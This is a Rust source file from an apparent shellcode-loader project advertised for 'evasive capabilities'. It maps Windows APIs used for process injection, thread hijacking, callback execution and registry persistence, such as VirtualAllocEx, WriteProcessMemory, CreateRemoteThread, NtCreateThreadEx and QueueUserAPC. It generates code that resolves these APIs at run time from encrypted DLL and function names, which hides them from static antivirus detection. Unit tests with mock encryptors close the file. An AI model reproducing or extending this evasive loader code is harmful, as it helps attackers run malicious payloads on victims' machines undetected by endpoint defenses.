myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
dynamic_common.rs (28622B)
1 //! Common dynamic function resolvers to reduce code duplication across techniques 2 3 use super::super::{generate_dynamic_function_resolver, generate_function_type_and_cast}; 4 use crate::encryption::Encryptor; 5 6 /// Key constant name used for decryption in generated code 7 const DECRYPTION_KEY_NAME: &str = "DECRYPTION_KEY"; 8 9 /// Metadata for a Windows API function 10 struct ApiMetadata { 11 dll: &'static str, 12 var_name: &'static str, 13 signature: &'static str, 14 } 15 16 /// Registry of all Windows API functions with their metadata 17 fn get_api_metadata(function_name: &str) -> Option<ApiMetadata> { 18 match function_name { 19 "VirtualAlloc" => Some(ApiMetadata { 20 dll: "kernel32.dll", 21 var_name: "virtual_alloc", 22 signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, usize, u32, u32) -> *mut std::ffi::c_void", 23 }), 24 "VirtualAllocEx" => Some(ApiMetadata { 25 dll: "kernel32.dll", 26 var_name: "virtual_alloc_ex", 27 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, usize, u32, u32) -> *mut std::ffi::c_void", 28 }), 29 "VirtualProtect" => Some(ApiMetadata { 30 dll: "kernel32.dll", 31 var_name: "virtual_protect", 32 signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, usize, u32, *mut u32) -> i32", 33 }), 34 "VirtualProtectEx" => Some(ApiMetadata { 35 dll: "kernel32.dll", 36 var_name: "virtual_protect_ex", 37 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, usize, u32, *mut u32) -> i32", 38 }), 39 "WriteProcessMemory" => Some(ApiMetadata { 40 dll: "kernel32.dll", 41 var_name: "write_process_memory", 42 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, *const std::ffi::c_void, usize, *mut usize) -> i32", 43 }), 44 "CreateProcessW" => Some(ApiMetadata { 45 dll: "kernel32.dll", 46 var_name: "create_process_w", 47 signature: "unsafe extern \"system\" fn(*const u16, *mut u16, *const std::ffi::c_void, *const std::ffi::c_void, i32, u32, *const std::ffi::c_void, *const u16, *const StartupInfoW, *mut ProcessInformation) -> i32", 48 }), 49 "CreateRemoteThread" => Some(ApiMetadata { 50 dll: "kernel32.dll", 51 var_name: "create_remote_thread", 52 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, usize, *const std::ffi::c_void, *const std::ffi::c_void, u32, *mut u32) -> *mut std::ffi::c_void", 53 }), 54 "CreateRemoteThreadEx" => Some(ApiMetadata { 55 dll: "kernel32.dll", 56 var_name: "create_remote_thread_ex", 57 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, usize, *const std::ffi::c_void, *const std::ffi::c_void, u32, *const std::ffi::c_void, *mut u32) -> *mut std::ffi::c_void", 58 }), 59 "RtlCopyMemory" => Some(ApiMetadata { 60 dll: "ntdll.dll", 61 var_name: "rtl_copy_memory", 62 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, usize)", 63 }), 64 "ConvertThreadToFiber" => Some(ApiMetadata { 65 dll: "kernel32.dll", 66 var_name: "convert_thread_to_fiber", 67 signature: "unsafe extern \"system\" fn(*const std::ffi::c_void) -> *mut std::ffi::c_void", 68 }), 69 "CreateFiber" => Some(ApiMetadata { 70 dll: "kernel32.dll", 71 var_name: "create_fiber", 72 signature: "unsafe extern \"system\" fn(usize, *const std::ffi::c_void, *const std::ffi::c_void) -> *mut std::ffi::c_void", 73 }), 74 "SwitchToFiber" => Some(ApiMetadata { 75 dll: "kernel32.dll", 76 var_name: "switch_to_fiber", 77 signature: "unsafe extern \"system\" fn(*const std::ffi::c_void)", 78 }), 79 "EnumCalendarInfoA" => Some(ApiMetadata { 80 dll: "kernel32.dll", 81 var_name: "enum_calendar_info_a", 82 signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, u32, u32, u32) -> i32", 83 }), 84 "SetTimer" => Some(ApiMetadata { 85 dll: "user32.dll", 86 var_name: "set_timer", 87 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *const std::ffi::c_void) -> usize", 88 }), 89 "GetMessageW" => Some(ApiMetadata { 90 dll: "user32.dll", 91 var_name: "get_message_w", 92 signature: "unsafe extern \"system\" fn(*mut u8, *mut std::ffi::c_void, u32, u32) -> i32", 93 }), 94 "DispatchMessageW" => Some(ApiMetadata { 95 dll: "user32.dll", 96 var_name: "dispatch_message_w", 97 signature: "unsafe extern \"system\" fn(*const u8) -> isize", 98 }), 99 "WaitForSingleObject" => Some(ApiMetadata { 100 dll: "kernel32.dll", 101 var_name: "wait_for_single_object", 102 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32) -> u32", 103 }), 104 "EtwpCreateEtwThread" => Some(ApiMetadata { 105 dll: "ntdll.dll", 106 var_name: "etwp_create_etw_thread", 107 signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, usize) -> *mut std::ffi::c_void", 108 }), 109 "ResumeThread" => Some(ApiMetadata { 110 dll: "kernel32.dll", 111 var_name: "resume_thread", 112 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void) -> u32", 113 }), 114 "ReadProcessMemory" => Some(ApiMetadata { 115 dll: "kernel32.dll", 116 var_name: "read_process_memory", 117 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, *mut std::ffi::c_void, usize, *mut usize) -> i32", 118 }), 119 "ZwQueryInformationProcess" => Some(ApiMetadata { 120 dll: "ntdll.dll", 121 var_name: "zw_query_information_process", 122 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32, *mut std::ffi::c_void, u32, *mut u32) -> i32", 123 }), 124 "NtAllocateVirtualMemory" => Some(ApiMetadata { 125 dll: "ntdll.dll", 126 var_name: "nt_allocate_virtual_memory", 127 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *mut *mut std::ffi::c_void, usize, *mut usize, u32, u32) -> i32", 128 }), 129 "NtWriteVirtualMemory" => Some(ApiMetadata { 130 dll: "ntdll.dll", 131 var_name: "nt_write_virtual_memory", 132 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *mut std::ffi::c_void, *const std::ffi::c_void, usize, *mut usize) -> i32", 133 }), 134 "NtProtectVirtualMemory" => Some(ApiMetadata { 135 dll: "ntdll.dll", 136 var_name: "nt_protect_virtual_memory", 137 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *mut *mut std::ffi::c_void, *mut usize, u32, *mut u32) -> i32", 138 }), 139 "NtCreateThreadEx" => Some(ApiMetadata { 140 dll: "ntdll.dll", 141 var_name: "nt_create_thread_ex", 142 signature: "unsafe extern \"system\" fn(*mut *mut std::ffi::c_void, u32, *const std::ffi::c_void, *mut std::ffi::c_void, *const std::ffi::c_void, *const std::ffi::c_void, u32, usize, usize, usize, *const std::ffi::c_void) -> i32", 143 }), 144 "EnumWindows" => Some(ApiMetadata { 145 dll: "user32.dll", 146 var_name: "enum_windows", 147 signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, isize) -> i32", 148 }), 149 "EnumSystemLocalesA" => Some(ApiMetadata { 150 dll: "kernel32.dll", 151 var_name: "enum_system_locales_a", 152 signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, u32) -> i32", 153 }), 154 "CreateThread" => Some(ApiMetadata { 155 dll: "kernel32.dll", 156 var_name: "create_thread", 157 signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, usize, *const std::ffi::c_void, *const std::ffi::c_void, u32, *mut u32) -> *mut std::ffi::c_void", 158 }), 159 "QueueUserAPC" => Some(ApiMetadata { 160 dll: "kernel32.dll", 161 var_name: "queue_user_apc", 162 signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, *mut std::ffi::c_void, usize) -> u32", 163 }), 164 "OpenProcessToken" => Some(ApiMetadata { 165 dll: "advapi32.dll", 166 var_name: "open_process_token", 167 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32, *mut *mut std::ffi::c_void) -> i32", 168 }), 169 "GetTokenInformation" => Some(ApiMetadata { 170 dll: "advapi32.dll", 171 var_name: "get_token_information", 172 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32, *mut std::ffi::c_void, u32, *mut u32) -> i32", 173 }), 174 "CloseHandle" => Some(ApiMetadata { 175 dll: "kernel32.dll", 176 var_name: "close_handle", 177 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void) -> i32", 178 }), 179 "GetCurrentProcess" => Some(ApiMetadata { 180 dll: "kernel32.dll", 181 var_name: "get_current_process", 182 signature: "unsafe extern \"system\" fn() -> *mut std::ffi::c_void", 183 }), 184 "GetModuleFileNameA" => Some(ApiMetadata { 185 dll: "kernel32.dll", 186 var_name: "get_module_file_name_a", 187 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *mut u8, u32) -> u32", 188 }), 189 "RegOpenKeyExA" => Some(ApiMetadata { 190 dll: "advapi32.dll", 191 var_name: "reg_open_key_ex_a", 192 signature: "unsafe extern \"system\" fn(isize, *const i8, u32, u32, *mut isize) -> i32", 193 }), 194 "RegSetValueExA" => Some(ApiMetadata { 195 dll: "advapi32.dll", 196 var_name: "reg_set_value_ex_a", 197 signature: "unsafe extern \"system\" fn(isize, *const i8, u32, u32, *const u8, u32) -> i32", 198 }), 199 "RegCreateKeyExA" => Some(ApiMetadata { 200 dll: "advapi32.dll", 201 var_name: "reg_create_key_ex_a", 202 signature: "unsafe extern \"system\" fn(isize, *const i8, u32, *const i8, u32, u32, *mut std::ffi::c_void, *mut isize, *mut u32) -> i32", 203 }), 204 "RegCloseKey" => Some(ApiMetadata { 205 dll: "advapi32.dll", 206 var_name: "reg_close_key", 207 signature: "unsafe extern \"system\" fn(isize) -> i32", 208 }), 209 "GetProcessMitigationPolicy" => Some(ApiMetadata { 210 dll: "kernel32.dll", 211 var_name: "get_process_mitigation_policy", 212 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32, *mut std::ffi::c_void, usize) -> i32", 213 }), 214 "CreateFileW" => Some(ApiMetadata { 215 dll: "kernel32.dll", 216 var_name: "create_file_w", 217 signature: "unsafe extern \"system\" fn(*const u16, u32, u32, *const std::ffi::c_void, u32, u32, *mut std::ffi::c_void) -> *mut std::ffi::c_void", 218 }), 219 "ImageGetDigestStream" => Some(ApiMetadata { 220 dll: "imagehlp.dll", 221 var_name: "image_get_digest_stream", 222 signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32, *const std::ffi::c_void, *mut *mut std::ffi::c_void) -> i32", 223 }), 224 _ => None, 225 } 226 } 227 228 /// Common Win32 API function resolver and cast generator 229 pub struct ApiResolver { 230 pub resolver_code: String, 231 pub cast_code: String, 232 } 233 234 impl ApiResolver { 235 fn new( 236 dll: &str, 237 func: &str, 238 var: &str, 239 sig: &str, 240 encryptor: &dyn Encryptor, 241 ) -> Result<Self, String> { 242 let encrypted_dll = encryptor 243 .encrypt(dll.as_bytes()) 244 .map_err(|e| format!("Failed to encrypt DLL name '{}': {}", dll, e))?; 245 let encrypted_fn = encryptor 246 .encrypt(func.as_bytes()) 247 .map_err(|e| format!("Failed to encrypt function name '{}': {}", func, e))?; 248 249 let encryption_type = encryptor.encryption_type(); 250 let resolver_code = generate_dynamic_function_resolver( 251 dll, 252 func, 253 encryption_type, 254 var, 255 DECRYPTION_KEY_NAME, 256 &encrypted_dll, 257 &encrypted_fn, 258 )?; 259 let cast_code = generate_function_type_and_cast(var, sig); 260 Ok(Self { 261 resolver_code, 262 cast_code, 263 }) 264 } 265 266 fn from_registry(function_name: &str, encryptor: &dyn Encryptor) -> Result<Self, String> { 267 let metadata = get_api_metadata(function_name) 268 .ok_or_else(|| format!("Unknown API function: {}", function_name))?; 269 Self::new( 270 metadata.dll, 271 function_name, 272 metadata.var_name, 273 metadata.signature, 274 encryptor, 275 ) 276 } 277 } 278 279 /// Generate resolver for VirtualAlloc (kernel32.dll) 280 pub fn virtual_alloc_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 281 ApiResolver::from_registry("VirtualAlloc", encryptor) 282 } 283 284 /// Generate resolver for VirtualAllocEx (kernel32.dll) 285 pub fn virtual_alloc_ex_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 286 ApiResolver::from_registry("VirtualAllocEx", encryptor) 287 } 288 289 /// Generate resolver for VirtualProtect (kernel32.dll) 290 pub fn virtual_protect_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 291 ApiResolver::from_registry("VirtualProtect", encryptor) 292 } 293 294 /// Generate resolver for VirtualProtectEx (kernel32.dll) 295 pub fn virtual_protect_ex_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 296 ApiResolver::from_registry("VirtualProtectEx", encryptor) 297 } 298 299 /// Generate resolver for WriteProcessMemory (kernel32.dll) 300 pub fn write_process_memory_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 301 ApiResolver::from_registry("WriteProcessMemory", encryptor) 302 } 303 304 /// Generate resolver for CreateProcessW (kernel32.dll) 305 pub fn create_process_w_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 306 ApiResolver::from_registry("CreateProcessW", encryptor) 307 } 308 309 /// Generate resolver for CreateRemoteThread (kernel32.dll) 310 pub fn create_remote_thread_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 311 ApiResolver::from_registry("CreateRemoteThread", encryptor) 312 } 313 314 /// Generate resolver for CreateRemoteThreadEx (kernel32.dll) 315 pub fn create_remote_thread_ex_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 316 ApiResolver::from_registry("CreateRemoteThreadEx", encryptor) 317 } 318 319 /// Generate resolver for RtlCopyMemory (ntdll.dll) 320 pub fn rtl_copy_memory_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 321 ApiResolver::from_registry("RtlCopyMemory", encryptor) 322 } 323 324 /// Generate resolver for ConvertThreadToFiber (kernel32.dll) 325 pub fn convert_thread_to_fiber_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 326 ApiResolver::from_registry("ConvertThreadToFiber", encryptor) 327 } 328 329 /// Generate resolver for CreateFiber (kernel32.dll) 330 pub fn create_fiber_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 331 ApiResolver::from_registry("CreateFiber", encryptor) 332 } 333 334 /// Generate resolver for SwitchToFiber (kernel32.dll) 335 pub fn switch_to_fiber_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 336 ApiResolver::from_registry("SwitchToFiber", encryptor) 337 } 338 339 /// Generate resolver for EnumCalendarInfoA (kernel32.dll) 340 pub fn enum_calendar_info_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 341 ApiResolver::from_registry("EnumCalendarInfoA", encryptor) 342 } 343 344 /// Generate resolver for SetTimer (user32.dll) 345 pub fn set_timer_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 346 ApiResolver::from_registry("SetTimer", encryptor) 347 } 348 349 /// Generate resolver for GetMessageW (user32.dll) 350 pub fn get_message_w_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 351 ApiResolver::from_registry("GetMessageW", encryptor) 352 } 353 354 /// Generate resolver for DispatchMessageW (user32.dll) 355 pub fn dispatch_message_w_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 356 ApiResolver::from_registry("DispatchMessageW", encryptor) 357 } 358 359 /// Generate resolver for WaitForSingleObject (kernel32.dll) 360 pub fn wait_for_single_object_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 361 ApiResolver::from_registry("WaitForSingleObject", encryptor) 362 } 363 364 /// Generate resolver for EtwpCreateEtwThread (ntdll.dll) 365 pub fn etwp_create_etw_thread_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 366 ApiResolver::from_registry("EtwpCreateEtwThread", encryptor) 367 } 368 369 /// Generate resolver for ResumeThread (kernel32.dll) 370 pub fn resume_thread_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 371 ApiResolver::from_registry("ResumeThread", encryptor) 372 } 373 374 /// Generate resolver for ReadProcessMemory (kernel32.dll) 375 pub fn read_process_memory_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 376 ApiResolver::from_registry("ReadProcessMemory", encryptor) 377 } 378 379 /// Generate resolver for ZwQueryInformationProcess (ntdll.dll) 380 pub fn zw_query_information_process_resolver( 381 encryptor: &dyn Encryptor, 382 ) -> Result<ApiResolver, String> { 383 ApiResolver::from_registry("ZwQueryInformationProcess", encryptor) 384 } 385 386 /// Generate resolver for NtAllocateVirtualMemory (ntdll.dll) 387 pub fn nt_allocate_virtual_memory_resolver( 388 encryptor: &dyn Encryptor, 389 ) -> Result<ApiResolver, String> { 390 ApiResolver::from_registry("NtAllocateVirtualMemory", encryptor) 391 } 392 393 /// Generate resolver for NtWriteVirtualMemory (ntdll.dll) 394 pub fn nt_write_virtual_memory_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 395 ApiResolver::from_registry("NtWriteVirtualMemory", encryptor) 396 } 397 398 /// Generate resolver for NtProtectVirtualMemory (ntdll.dll) 399 pub fn nt_protect_virtual_memory_resolver( 400 encryptor: &dyn Encryptor, 401 ) -> Result<ApiResolver, String> { 402 ApiResolver::from_registry("NtProtectVirtualMemory", encryptor) 403 } 404 405 /// Generate resolver for NtCreateThreadEx (ntdll.dll) 406 pub fn nt_create_thread_ex_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 407 ApiResolver::from_registry("NtCreateThreadEx", encryptor) 408 } 409 410 /// Generate resolver for EnumWindows (user32.dll) 411 pub fn enum_windows_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 412 ApiResolver::from_registry("EnumWindows", encryptor) 413 } 414 415 /// Generate resolver for EnumSystemLocalesA (kernel32.dll) 416 pub fn enum_system_locales_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 417 ApiResolver::from_registry("EnumSystemLocalesA", encryptor) 418 } 419 420 /// Generate resolver for CreateThread (kernel32.dll) 421 pub fn create_thread_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 422 ApiResolver::from_registry("CreateThread", encryptor) 423 } 424 425 /// Generate resolver for QueueUserAPC (kernel32.dll) 426 pub fn queue_user_apc_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 427 ApiResolver::from_registry("QueueUserAPC", encryptor) 428 } 429 430 /// Generate resolver for OpenProcessToken (advapi32.dll) 431 pub fn open_process_token_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 432 ApiResolver::from_registry("OpenProcessToken", encryptor) 433 } 434 435 /// Generate resolver for GetTokenInformation (advapi32.dll) 436 pub fn get_token_information_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 437 ApiResolver::from_registry("GetTokenInformation", encryptor) 438 } 439 440 /// Generate resolver for CloseHandle (kernel32.dll) 441 pub fn close_handle_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 442 ApiResolver::from_registry("CloseHandle", encryptor) 443 } 444 445 /// Generate resolver for GetCurrentProcess (kernel32.dll) 446 pub fn get_current_process_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 447 ApiResolver::from_registry("GetCurrentProcess", encryptor) 448 } 449 450 /// Generate resolver for GetModuleFileNameA (kernel32.dll) 451 pub fn get_module_file_name_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 452 ApiResolver::from_registry("GetModuleFileNameA", encryptor) 453 } 454 455 /// Generate resolver for RegOpenKeyExA (advapi32.dll) 456 pub fn reg_open_key_ex_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 457 ApiResolver::from_registry("RegOpenKeyExA", encryptor) 458 } 459 460 /// Generate resolver for RegSetValueExA (advapi32.dll) 461 pub fn reg_set_value_ex_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 462 ApiResolver::from_registry("RegSetValueExA", encryptor) 463 } 464 465 /// Generate resolver for RegCreateKeyExA (advapi32.dll) 466 pub fn reg_create_key_ex_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 467 ApiResolver::from_registry("RegCreateKeyExA", encryptor) 468 } 469 470 /// Generate resolver for RegCloseKey (advapi32.dll) 471 pub fn reg_close_key_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 472 ApiResolver::from_registry("RegCloseKey", encryptor) 473 } 474 475 /// Generate resolver for GetProcessMitigationPolicy (kernel32.dll) 476 pub fn get_process_mitigation_policy_resolver( 477 encryptor: &dyn Encryptor, 478 ) -> Result<ApiResolver, String> { 479 ApiResolver::from_registry("GetProcessMitigationPolicy", encryptor) 480 } 481 482 /// Generate resolver for CreateFileW (kernel32.dll) 483 pub fn create_file_w_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 484 ApiResolver::from_registry("CreateFileW", encryptor) 485 } 486 487 /// Generate resolver for ImageGetDigestStream (imagehlp.dll) 488 pub fn image_get_digest_stream_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> { 489 ApiResolver::from_registry("ImageGetDigestStream", encryptor) 490 } 491 492 #[cfg(test)] 493 mod tests { 494 use super::*; 495 496 struct MockXorEncryptor; 497 498 impl Encryptor for MockXorEncryptor { 499 fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 500 let key = b"test_key"; 501 Ok(data 502 .iter() 503 .enumerate() 504 .map(|(i, &b)| b ^ key[i % key.len()]) 505 .collect()) 506 } 507 508 fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 509 self.encrypt(data) 510 } 511 512 fn key_size(&self) -> usize { 513 8 514 } 515 516 fn algorithm_name(&self) -> &'static str { 517 "XOR" 518 } 519 520 fn generate_decrypt_code(&self) -> &'static str { 521 "mock decrypt code" 522 } 523 } 524 525 struct MockAesEncryptor; 526 527 impl Encryptor for MockAesEncryptor { 528 fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 529 let key = b"test_key"; 530 Ok(data 531 .iter() 532 .enumerate() 533 .map(|(i, &b)| b ^ key[i % key.len()]) 534 .collect()) 535 } 536 537 fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 538 self.encrypt(data) 539 } 540 541 fn key_size(&self) -> usize { 542 16 543 } 544 545 fn algorithm_name(&self) -> &'static str { 546 "AES-128-CBC" 547 } 548 549 fn generate_decrypt_code(&self) -> &'static str { 550 "mock decrypt code" 551 } 552 } 553 554 struct MockChaCha20Encryptor; 555 556 impl Encryptor for MockChaCha20Encryptor { 557 fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 558 let key = b"test_key"; 559 Ok(data 560 .iter() 561 .enumerate() 562 .map(|(i, &b)| b ^ key[i % key.len()]) 563 .collect()) 564 } 565 566 fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 567 self.encrypt(data) 568 } 569 570 fn key_size(&self) -> usize { 571 32 572 } 573 574 fn algorithm_name(&self) -> &'static str { 575 "ChaCha20" 576 } 577 578 fn generate_decrypt_code(&self) -> &'static str { 579 "mock decrypt code" 580 } 581 } 582 583 struct MockAes256Encryptor; 584 585 impl Encryptor for MockAes256Encryptor { 586 fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 587 let key = b"test_key"; 588 Ok(data 589 .iter() 590 .enumerate() 591 .map(|(i, &b)| b ^ key[i % key.len()]) 592 .collect()) 593 } 594 595 fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 596 self.encrypt(data) 597 } 598 599 fn key_size(&self) -> usize { 600 32 601 } 602 603 fn algorithm_name(&self) -> &'static str { 604 "AES-256-CBC" 605 } 606 607 fn generate_decrypt_code(&self) -> &'static str { 608 "mock decrypt code" 609 } 610 } 611 612 struct MockTwofishEncryptor; 613 614 impl Encryptor for MockTwofishEncryptor { 615 fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 616 let key = b"test_key"; 617 Ok(data 618 .iter() 619 .enumerate() 620 .map(|(i, &b)| b ^ key[i % key.len()]) 621 .collect()) 622 } 623 624 fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 625 self.encrypt(data) 626 } 627 628 fn key_size(&self) -> usize { 629 32 630 } 631 632 fn algorithm_name(&self) -> &'static str { 633 "Twofish-CBC" 634 } 635 636 fn generate_decrypt_code(&self) -> &'static str { 637 "mock decrypt code" 638 } 639 } 640 641 struct MockCamelliaEncryptor; 642 643 impl Encryptor for MockCamelliaEncryptor { 644 fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 645 let key = b"test_key"; 646 Ok(data 647 .iter() 648 .enumerate() 649 .map(|(i, &b)| b ^ key[i % key.len()]) 650 .collect()) 651 } 652 653 fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> { 654 self.encrypt(data) 655 } 656 657 fn key_size(&self) -> usize { 658 32 659 } 660 661 fn algorithm_name(&self) -> &'static str { 662 "Camellia-256-CBC" 663 } 664 665 fn generate_decrypt_code(&self) -> &'static str { 666 "mock decrypt code" 667 } 668 } 669 670 #[test] 671 fn test_virtual_alloc_resolver() { 672 let encryptor = MockXorEncryptor; 673 let result = virtual_alloc_resolver(&encryptor); 674 assert!(result.is_ok()); 675 let resolver = result.unwrap(); 676 assert!(resolver.resolver_code.contains("VirtualAlloc")); 677 assert!(resolver.resolver_code.contains("ENCRYPTED_DLL")); 678 assert!(resolver.resolver_code.contains("decrypt_xor")); 679 assert!(resolver.cast_code.contains("virtual_alloc")); 680 } 681 682 #[test] 683 fn test_rtl_copy_memory_resolver() { 684 let encryptor = MockAesEncryptor; 685 let result = rtl_copy_memory_resolver(&encryptor); 686 assert!(result.is_ok()); 687 let resolver = result.unwrap(); 688 assert!(resolver.resolver_code.contains("RtlCopyMemory")); 689 assert!(resolver.resolver_code.contains("ntdll.dll")); 690 assert!(resolver.resolver_code.contains("ENCRYPTED_DLL")); 691 assert!(resolver.resolver_code.contains("decrypt_aes")); 692 } 693 694 #[test] 695 fn test_create_remote_thread_resolver() { 696 let encryptor = MockChaCha20Encryptor; 697 let result = create_remote_thread_resolver(&encryptor); 698 assert!(result.is_ok()); 699 let resolver = result.unwrap(); 700 assert!(resolver.resolver_code.contains("CreateRemoteThread")); 701 assert!(resolver.resolver_code.contains("ENCRYPTED_DLL")); 702 assert!(resolver.resolver_code.contains("decrypt_chacha20")); 703 } 704 705 #[test] 706 fn test_resolver_with_aes256() { 707 let encryptor = MockAes256Encryptor; 708 let result = virtual_alloc_resolver(&encryptor); 709 assert!(result.is_ok()); 710 let resolver = result.unwrap(); 711 assert!(resolver.resolver_code.contains("decrypt_aes256")); 712 } 713 714 #[test] 715 fn test_resolver_with_twofish() { 716 let encryptor = MockTwofishEncryptor; 717 let result = virtual_protect_resolver(&encryptor); 718 assert!(result.is_ok()); 719 let resolver = result.unwrap(); 720 assert!(resolver.resolver_code.contains("decrypt_twofish")); 721 } 722 723 #[test] 724 fn test_resolver_with_camellia() { 725 let encryptor = MockCamelliaEncryptor; 726 let result = write_process_memory_resolver(&encryptor); 727 assert!(result.is_ok()); 728 let resolver = result.unwrap(); 729 assert!(resolver.resolver_code.contains("decrypt_camellia")); 730 } 731 }